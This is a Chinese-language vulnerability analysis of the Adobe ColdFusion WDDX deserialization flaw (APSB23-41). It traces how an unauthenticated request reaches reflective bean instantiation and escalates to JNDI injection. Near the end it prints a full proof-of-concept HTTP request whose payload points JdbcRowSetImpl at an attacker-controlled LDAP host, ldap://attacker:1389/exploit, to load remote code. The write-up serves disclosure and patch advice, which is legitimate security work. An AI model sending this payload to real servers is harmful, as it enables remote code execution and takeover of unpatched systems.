1.漏洞描述
Adobe ColdFusion是一种服务器端的Web应用开发平台。它由Adobe Systems开发,用于创建动态的、交互式的Web应用程序和网站。
Adobe ColdFusion在2018u17及之前版本、2021u7及之前版本和2023u1及之前版本中存在任意代码执行漏洞。该漏洞是由于反序列化不受信任数据漏洞的影响,可能会导致任意代码执行。攻击者可利用该漏洞对目标有针对性的发起攻击,危害站点系统安全。
2.影响版本
ColdFusion <=2021u7
ColdFusion <=2023u1
3.影响范围
4.漏洞分析
我们通过git diff看到coldfusion.wddx.DeserializerWorker.java文件
这是一个XML 类型的WDDX数据包解码器。在startElement方法中DeserializerWorker,我们注意到新添加的验证是通过validateWddxFilter() struct参数执行的。
WDDX数据包的解析
<wddxPacket version='1.0'><header/><data><struct type='className'><var name='prop_name'><string>prop_value</string></var></struct></data></wddxPacket>
经过调试后发现Java 反射在某些代码块中被广泛使用,这表明用户输入将经历反射调用。
这是解析过程中有趣部分的代码流程:
onEndElement() -> getClassBySignature() -> setBeanProperties()
在该方法中,如果 WDDX 数据包的结构元素中提供了 type 属性,则会对该字段onEndElement()执行检查
通过此检查后,将调用getClassbySignature(),它使用反射来获取类实例。类名源自用户控制的输入m_strictType
有了类名后,就可以使用反射来访问类的构造函数,没有参数的构造函数,并实例化类的实例。然后将此实例与用户控制的m_ht字段一起传递给setBeanProperties(),该字段包含WDDX变量。
如果bean有任何setter方法,它将被返回,并最终通过Java Reflections在bean上调用,变量的值是唯一的参数,这些变量的值来自用户控制的WDDX数据包。
在我们通过搜索WddxDeserializer的代码进行分析的过程中,我们发现了一个FilterUtils类的调用。
在GetArgumentCollection方法中使用的。从表单或查询字符串中提取argumentCollection参数。然后检查检索到的输入以确定它是否为JSON类型。如果不是,则使用WDDXDeserialize调用将该值反序列化为WDDX数据包。
在我们的分析中,预授权CFC端点触发对GetArgumentCollection的调用,并最终触发对易受攻击的接收器的调用,即WDDXDeserialize。
/CFDE/adminapi/accessmanager.cfc是预授权有效的cfc端点
我们选择了一个满足指定要求的简单类java.util.Date,我们在请求中创建了一个类似于以下内容的WDDX数据包。
我们能够确认对java.util.Date.setDate(our_input)的调用已成功执行。
我们看看com.sun.rowset.JdbcRowSetImpl类,如果将布尔参数传递给此类的setAutoCommit()方法,它将对dataSourceName执行JNDI查找,该查找可以使用setDataSourceName()方法进行设置。在调用setDataSourceName()之后再调用setAutoCommit()会导致JNDI注入漏洞。需要注意的是,在进行方法调用时,我们处于for循环中,因此我们能够在bean实例上调用多个方法。
我们通过WDDX反序列化升级到JNDI注入。
Poc:
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 266
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://attacker:1389/exploit</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
5.修复建议
目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。
官方下载地址:
https://helpx.adobe.com/security/products/coldfusion/apsb23-41.html